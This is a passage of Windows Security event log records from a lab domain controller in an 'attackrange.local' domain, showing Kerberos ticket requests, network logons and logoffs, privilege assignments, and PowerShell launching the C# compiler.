	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252657
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D897

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252656
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D897

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252655
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D897
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252654
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252653
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252652
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252651
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D345

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252650
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16BD95

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252649
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16AA9F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x125c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7BDE.tmp" "c:\Users\Administrator\AppData\Local\Temp\c43nngfo\CSC47160B2AB7D4307816A6CC585648DC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252647
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1164
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\c43nngfo\c43nngfo.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252646
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D345

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252645
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D345
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252644
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252643
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252642
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252641
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7AA6.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC54001569CA13445184206C329B7CDB1B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252640
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D182

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252639
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16D182
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64659

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252638
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D182

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252637
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D119

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252636
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16D119
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64658

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252635
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D119

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252634
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D01B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252633
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D055

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252632
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16D055
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64657

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252631
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D055

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252630
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16D01B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
